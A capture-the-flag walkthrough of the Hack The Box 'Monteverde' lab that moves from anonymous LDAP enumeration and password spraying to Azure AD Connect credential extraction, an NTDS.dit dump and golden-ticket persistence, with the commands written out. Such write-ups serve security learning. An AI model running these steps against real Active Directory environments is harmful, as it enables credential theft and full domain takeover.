Monteverde HTB Walkthrough - Hack the planet

Monteverde HTB Walkthrough

Monteverde Hack The Box Walkthrough/Writeup:

How I use variables & Wordlists:

  • Variables:
    • In my commands you are going to see me use $box, $user, $hash, $domain, $pass often.
      • I find the easiest way to eliminate type-os & to streamline my process it is easier to store important information in variables & aliases.
        • $box = The IP of the box
        • $pass = Passwords I have access to.
        • $user = current user I am enumerating with.
          • Depending on where I am in the process this can change if I move laterally.
        • $domain = the domain name e.g. sugarape.local or contoso.local
        • $pass = Passwords I have access to.
      • Why am I telling you this? People of all different levels read these writeups/walktrhoughs and I want to make it as easy as possible for people to follow along and take in valuable information.
  • Wordlists:
    • I have symlinks all setup so I can get to my passwords from ~/Wordlists so if you see me using that path that’s why. If you are on Kali and following on, you will need to go to /usr/share/wordlists

1. Enumeration:

NMAP:

  • Basic Scan:

    • nmap $box -Pn -oA basicScan
        kali in 46.02-HTB/BlogEntriesMade/Monteverde_Unfinished/scans/nmap  2GiB/15GiB | 0B/1GiB with /usr/bin/zsh
        šŸ•™ 11:24:32 zsh āÆ nmap $box -Pn -oA basicScan
        Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 11:24 BST
        Nmap scan report for 10.129.228.111
        Host is up (0.040s latency).
        Not shown: 989 filtered tcp ports (no-response)
        PORT     STATE SERVICE
        53/tcp   open  domain
        88/tcp   open  kerberos-sec
        135/tcp  open  msrpc
        139/tcp  open  netbios-ssn
        389/tcp  open  ldap
        445/tcp  open  microsoft-ds
        464/tcp  open  kpasswd5
        593/tcp  open  http-rpc-epmap
        636/tcp  open  ldapssl
        3268/tcp open  globalcatLDAP
        3269/tcp open  globalcatLDAPssl
      
        Nmap done: 1 IP address (1 host up) scanned in 12.51 seconds
    • Initial thoughts:
      • DNS, Kerberos, LDAP & SMB give us great starting points for enumeration.
  • In depth scan:

    • sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP
      
        kali in 46.02-HTB/BlogEntriesMade/Monteverde_Unfinished/scans/nmap  2GiB/15GiB | 0B/1GiB with /usr/bin/zsh  took 12s
        šŸ•™ 11:24:49 zsh āÆ sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP
        Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 11:25 BST
        Nmap scan report for 10.129.228.111
        Host is up (0.071s latency).
        Not shown: 65516 filtered tcp ports (no-response)
        PORT      STATE SERVICE       VERSION
        53/tcp    open  domain        Simple DNS Plus
        88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-10-13 10:28:37Z)
        135/tcp   open  msrpc         Microsoft Windows RPC
        139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
        389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
        445/tcp   open  microsoft-ds?
        464/tcp   open  kpasswd5?
        593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
        636/tcp   open  tcpwrapped
        3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
        3269/tcp  open  tcpwrapped
        5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
        |_http-server-header: Microsoft-HTTPAPI/2.0
        |_http-title: Not Found
        9389/tcp  open  mc-nmf        .NET Message Framing
        49667/tcp open  msrpc         Microsoft Windows RPC
        49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
        49674/tcp open  msrpc         Microsoft Windows RPC
        49676/tcp open  msrpc         Microsoft Windows RPC
        49696/tcp open  msrpc         Microsoft Windows RPC
        49796/tcp open  msrpc         Microsoft Windows RPC
        Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
        Device type: general purpose
        Running (JUST GUESSING): Microsoft Windows 2019 (88%)
        Aggressive OS guesses: Microsoft Windows Server 2019 (88%)
        No exact OS matches for host (test conditions non-ideal).
        Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows
      
        Host script results:
        | smb2-time:
        |   date: 2024-10-13T10:29:42
        |_  start_date: N/A
        | smb2-security-mode:
        |   3:1:1:
        |_    Message signing enabled and required
      
        OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
        Nmap done: 1 IP address (1 host up) scanned in 304.90 seconds
    • Findings:
      • SMB Signing is enabled so no relay attacks.
      • We seem to be dealing with server 2019.

LDAP 389:

Using LDAP anonymous bind to enumerate further:

  • If you are unsure of what anonymous bind does. It enables us to query for domain information anonymously, e.g. without passing credentials.
    • We can actually retrieve a significant amount of information via anonymous bind such as:
      • A list of all users
      • A list of all groups
      • A list of all computers.
      • User account attributes.
      • The domain password policy.
      • Enumerate users who are susceptible to AS-REPRoasting.
      • Passwords stored in the description fields
    • The added benefit of using ldap to perform these queries is that these are most likely not going to trigger any sort of AV etc as ldap is how AD communicates.
  • I actually have a handy script to check if anonymous bind is enabled & if it is to dump a large amount of information. You can find it here

  • It turns out the anonymous bind is enabled and we get the below information. I have removed the majority of the information as it is not relevant, however there are some keys bits of information we can use moving forward.

    1. We have the naming context of the domain:

      kali in ~/Desktop/WindowsTools šŸ v3.12.6  2GiB/15GiB | 0B/1GiB with /usr/bin/zsh
      šŸ•™ 11:25:54 zsh āÆ python3 ldapchecker.py $box
      Attempting to connect to 10.129.228.111 with SSL...
      Failed to connect with SSL. Retrying without SSL...
      Connected successfully. Retrieving server information...
      DSA info (from DSE):
        Supported LDAP versions: 3, 2
        Naming contexts:
          DC=MEGABANK,DC=LOCAL
          CN=Configuration,DC=MEGABANK,DC=LOCAL
          CN=Schema,CN=Configuration,DC=MEGABANK,DC=LOCAL
          DC=DomainDnsZones,DC=MEGABANK,DC=LOCAL
          DC=ForestDnsZones,DC=MEGABANK,DC=LOCAL
    2. We have the domain functionaility level:

      Other:
        domainFunctionality:
          7
        forestFunctionality:
          7
        domainControllerFunctionality:
          7
        rootDomainNamingContext:
          DC=MEGABANK,DC=LOCAL
        ldapServiceName:
          MEGABANK.LOCAL:[email protected]
      • The functionality level determines the minimum version of Windows server that can be used for a DC.
        • +Note+: that any host os can be used on workstations, however the functionality level determines what the minimum version for DC’s and the forest.

        • https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/active-directory-functional-levels

        • Knowing the function level is useful as if want to target the DC’s and servers, we can know by looking at the function level what the minimum level of OS would be.

        • In this case we can see it is level 7 which means that this server has to be running Windows Server 2016 or newer.

        • Hereā€™s a list of functional level numbers and their corresponding Windows Server operating systems:

          Functional Level Number Corresponding OS
          0 Windows 2000
          1 Windows Server 2003 Interim
          2 Windows Server 2003
          3 Windows Server 2008
          4 Windows Server 2008 R2
          5 Windows Server 2012
          6 Windows Server 2012 R2
          7 Windows Server 2016
          8 Windows Server 2019
          9 Windows Server 2022
          • +Note+:
            • Each number corresponds to the minimum Windows Server version required for domain controllers in the domain or forest.
            • As the functional level increases, additional Active Directory features become available, but older versions of Windows Server may not be supported as domain controllers.
    3. We have the full server name:

      • Again we can see this has the CN as the base (mentioned previously.) So it appears it’s a printer server site of some sort. What is also interesting is the CN name “Configuration”, this could imply that it is still to be configured. Which is interesting as things that are still being configured may not have had thorough security standards actioned.
        serverName:
            CN=MONTEVERDE,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=MEGABANK,DC=LOCAL
  • It’s pretty amazing already what we have learned just by running some fairly simple ldap queries.

    • We have the naming context.
    • Domain name.
  • I update my /etc/hosts file now that we have the server name.

    • This is so we can use tools like kerbrute for user enumeration as well as other tools later on.

LDAP User Enumeration:

  • As anonymous bind is enabled we can enumerate all the users on the domain also:

    • ldapsearch -H ldap://monteverde.MEGABANK.LOCAL -x -b "DC=MEGABANK,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" " >> ldapUsers.txt
  • Discoveries:

    • Looking at the file we can see it’s a small list of users, but most noticeably there are also a series of services running which is interesting. However we can confirm this is an Azure Active Directory environment as there is a user called: AAD_987d7f2f57d2
      • Azure AD often uses unique object identifiers like AAD_987d7f2f57d2 to represent accounts or resources internally.
    • I add all the users to my users list.

LDAP Group Enumeration:

  • We can also enumerate the groups on the domain:

    • ldapsearch -H ldap://monteverde.MEGABANK.LOCAL -x -b "DC=MEGABANK,DC=LOCAL" -s sub "(&(objectclass=group))" | grep sAMAccountName: | cut -f2 -d" " >> ldapGroups.txt
  • Discoveries:

    • Looking at the list of groups there are some interesting standout groups here:
      • SQLServer2005SQLBrowserUser$MONTEVERDE
        • This is interesting as it does not appear the SQL service is running publicly on a port.
      • Azure
        • This could be part of an azure environment which could be interesting.
      • Reception
      • Operations
      • Trading
      • HelpDesk
      • Developers
  • We can also generate a list of users who are members of specific groups too:
    • for group in $(cat ldapGroups.txt); do ldapsearch -H ldap://monteverde.MEGABANK.LOCAL -x -b "DC=MEGABANK,DC=LOCAL" -s sub "(&(objectCategory=Person)(sAMAccountName=*)(memberOf=CN=$group,OU=Groups,DC=MEGABANK,DC=LOCAL))" >> ldapGroupMemberships.txt; done

DNS 53:

  • Using dnsenum to enumerate DNS entries:
    • dnsenum -r --dnsserver $box --enum -p 0 -s 0 -f ~/Seclists/Discovery/DNS/subdomains-top1million-110000.txt $domain
    • Standard entries for an AD env.

Kerberos 88:

Using Kerbrute to bruteforce Usernames:

  • As kerberos is present we can enumerate users using kerbrute:
    • kerbrute userenum -d $domain --dc $box ~/Wordlists/statistically-likely-usernames/jsmith.txt
  • We have some usernames, these were all found using LDAP, however this is still good to have.

SMB 445:

Attempting to connect with NULL & Guest sessions:

  • This is a standard check I always try as alot of the time the guest account or null sessions can lead to a foothold:
    • netexec smb $box -u 'guest' -p '' --shares
    • netexec smb $box -u '' -p '' --shares
  • Guest account is disabled and null sessions are not allowed it appears.

Trying Usernames as Passwords:

  • I always try usernames as passwords as well:
    • netexec smb $box -u Users.txt -p Users.txt --shares --continue-on-success | grep [+]
    • It appears that SABatchJobs is using their username as a password, naught naughty.

2. Foothold:

Enumerating the Domain SABatchJobs:

Running a bloodhound collection:

  • As we have creds now we can run a remote bloodhound collection:
    • python3 bloodhound.py -dc monteverde.$domain -c All -u $user -p $user -d $domain -ns $box
    • +Note+: The reason this keeps going and I do not check it initially is as it was running the collection I continued to manually enumerate.

Enumerating SMB Shares:

  • Listing the shares we can see some interesting entries:
    • netexec smb $box -u $user -p $user --shares
    • The azure_uploads & users$ is particularly interesting.
  • I check the azure_uploads directory but it is empty:
    • smbclient -U $domain\\$user \\\\$box\\azure_uploads

Finding azure.xml in the user mhope’s user share:

  • Enumerating the users$ shares I find a file called azure.xml in the user’s mhope directory:
    • smbclient -U $domain\\$user \\\\$box\\users$
    • I download it:

Finding a hard-coded password in azure.xml:

  • Reading the azure.xml file I find a hard-coded password within it:

Discovering that mhope re-uses passwords:

  • I check the password for re-use and it appears that mhope re-uses passwords:
    • netexec smb $box -u $user -p $pass --shares

Connecting to the host as mhope:

  • I connect using evil-winrm:
    • evil-winrm -i $box -u $user -p $pass
    • After some general enumeration I elect to check bloodhound to see if we have any obvious privilege escalation paths.

3. Privilege Escalation:

Discovering mhope is part of the azure admins group:

  • Checking bloodhound I can see that mhope is a part of the azure admins group:

  • I quickly check for Azure Admin privilege escalation path on google and find the following article:

Enumerating the Azure Service:

Checking Azure Connect Directory Exists & The Service Is Running:

  • I check if Azure connect AD Sync directory exists:

    • Test-Path "C:\Program Files\Microsoft Azure AD Sync"
    • True, so this could work. Lets enumerate further.
  • Let’s check if the AD Sync binary is installed:

    • Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ADSync -Name "ImagePath"
    • So it’s running, good.

Checking for the ADSync Database:

  • From reading the article, we can see that LocalDB should be running on a default installation:
    • It says:

      Now by default when deploying the connector a new database is created on the host using SQL Serverā€™s LOCALDB. To view information on the running instance, we can use the installed SqlLocalDB.exe tool: <SNIP> So what are the requirements to complete this exfiltration of credentials? Well we will need to have access to the LocalDB (if configured to use this DB)

What is SQL Server Express LocalDB?

  • Overview of LocalDB:
    • LocalDB is a lightweight version of SQL Server Express designed for developers to quickly and easily create and test SQL Server databases without the overhead of a full SQL Server installation.
  • Key Features of LocalDB:

    • Developer-focused: Itā€™s intended for development and local testing purposes, providing a simple and fast setup for SQL Server database instances.
    • On-demand: LocalDB runs on-demand, meaning it starts up when an application tries to connect and shuts down when not in use, minimizing resource usage.
    • User-level instance: LocalDB runs under the userā€™s context, without requiring admin privileges to manage or install.
    • No configuration needed: Unlike a full SQL Server instance, LocalDB doesn’t require setup or configurationā€”it’s essentially plug-and-play.
    • SQL Server API compatibility: LocalDB supports the same T-SQL commands and APIs as the full version of SQL Server, so code written against LocalDB will work with any edition of SQL Server.
  • Use Cases of LocalDB:

    • Development environment: Ideal for developers needing a local SQL Server database without complex configuration or high resource use.
    • Testing and debugging: Developers can create, test, and debug SQL Server applications in a contained environment before deploying to a full SQL Server instance.
    • Unit testing: Allows database-related unit testing to be performed locally and quickly.
  • Core Characteristics of LocalDB:

    • Instance Type:

      • LocalDB runs as a user-mode process, meaning it’s user-specific and does not require a system-wide installation of SQL Server.
      • Each user on a machine can have their own instances of LocalDB.
    • Communication via Named Pipes:

      • Unlike full SQL Server instances that communicate via TCP/IP ports, LocalDB uses named pipes for connections, ensuring simplicity and security for local communication.
    • No Service Required:

      • LocalDB does not run as a Windows service. It is an on-demand process that starts and stops as needed when an application makes a connection.
    • Supports Multiple Instances:

      • You can run multiple LocalDB instances, such as the default instance (MSSQLLocalDB) or custom-named instances. Each instance is independent and isolated from others.
    • Further reading:

Looking for LocalDB binary:

  • Looking online I find this article which says where the SqlLocalDB.exe should be found:

    • "C:\Program Files\Microsoft SQL Server\160\Tools\Binn\SqlLocalDB.exe"
    • Not found.
  • Searching for SqlLocalDB.exe

    • Looking at the folder structure of:
      • "C:\Program Files\Microsoft SQL Server"
      • I can see that there is no 160 folder.
  • Looking online, I find this post on StackOverflow:

    • It says we should be able to find the binary in either "C:\Program Files\Microsoft SQL Server\110\Tools\Binn or "C:\Program Files\Microsoft SQL Server\120\Tools\Binn
    • As there is no 120 on our host I check 110

Finding SQLCMD.EXE in 110:

  • I check 110 & can see that there is no SqlLocalDB.exe but there is a SQLCMD.EXE executable:

    • I check the other folders 140, 150, 80 & 90 but there is nothing of interest.
    • SQLCMD.EXE is used for interacting with local/remote SQL instances.
  • We did not see SQL running in our NMAP scans, so should check if it’s running internally:

    • netstat -ano | findstr :1433
    • Okay, looks to be running internally, which means this is a non-standard installation of Azure AD Connect that isn’t using LocalDB, so it must be running SQL.

Connecting to the SQL Instance:

  • I check if we can run commands on the SQL Instance:
    • sqlcmd -S MONTEVERDE -Q "SELECT name FROM master.dbo.sysdatabases"
    • We can & I can see that the ADSync database is present!

4. Ownership:

Modifying XPN’s POC to work:

  • Looking at the POC on XPN’s page we can see the opening line says:

    $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
  • However this instance is not using localdb so we need to modify this:

    • Data Source=(localdb)\.\ADSync: Uses localdb, a lightweight version of SQL Server primarily meant for developers (which is not running).
    • The (localdb)\.\ADSync points to a specific instance of LocalDB.
    • Initial Catalog=ADSync: Specifies the database ADSync that we want to connect to.
  • Updated Version:

        $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=127.0.0.1;Database=ADSync;Integrated Security=True"
    • Server=127.0.0.1: Uses the local machine’s loopback address (127.0.0.1) to connect to the SQL Server instance.
      • As we know that SQL is running internally.
    • Integrated Security=True: This enables Windows Authentication, using the current user’s credentials to authenticate with the SQL Server.
      • As we know mhope has the required permissions to connect to the instance:
  • I actually did a deep dive into how this whole attack works, you can find it here:

Running the Exploit to Extract the Administrator Password:

  • I start my python webserver:

    • python3 -h http.server 9000
  • I use a download cradle to run the exploit:

  • I verify the password works using netexec:

    • netexec smb $box -u $user -p $pass --shares
  • Let’s grab our root flag too.

5. Persistence:

Dumping NTDS.dit:

  • I use netexec to dump the NTDS.dit:
    • netexec smb $box -u $user -p $pass -M ntdsutil

Creating a Golden Ticket:

  1. Using impacket-lookupsid to extract the domain SID:

    • impacket-lookupsid $domain/administrator@$box -domain-sids
  2. I use impacket-ticketer to create the ticket:

    • It kicks out a bunch of errors but creates the administrator.ccache
  3. I load the ticket into the KRB5CCNAME Variable:

    • export KRB5CCNAME=./administrator.ccache
  4. I sync my clock with the target:

    • sudo ntpdate -s monteverde.$domain
  5. I connect using impacket-psexec:

    • impacket-psexec monteverde.$domain -k

Lessons Learned:

What did I learn?

  1. I learned ALOT about Azure AD Connect. I would not have been able to do this without the post from xpn:
  2. Honestly so much about the AD Connect service. I have done a more thorough writeup and have actually broken down xpn’s exploit in this post:

What silly mistakes did I make?

  1. Not too bad this time, it was more about just getting my head around Azure AD Connect and understanding XPN’s script took me the longest

Sign off:

Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!

Until next time, hack the planet!

ā€“ Bloodstiller

ā€“ Get in touch bloodstiller at proton dot me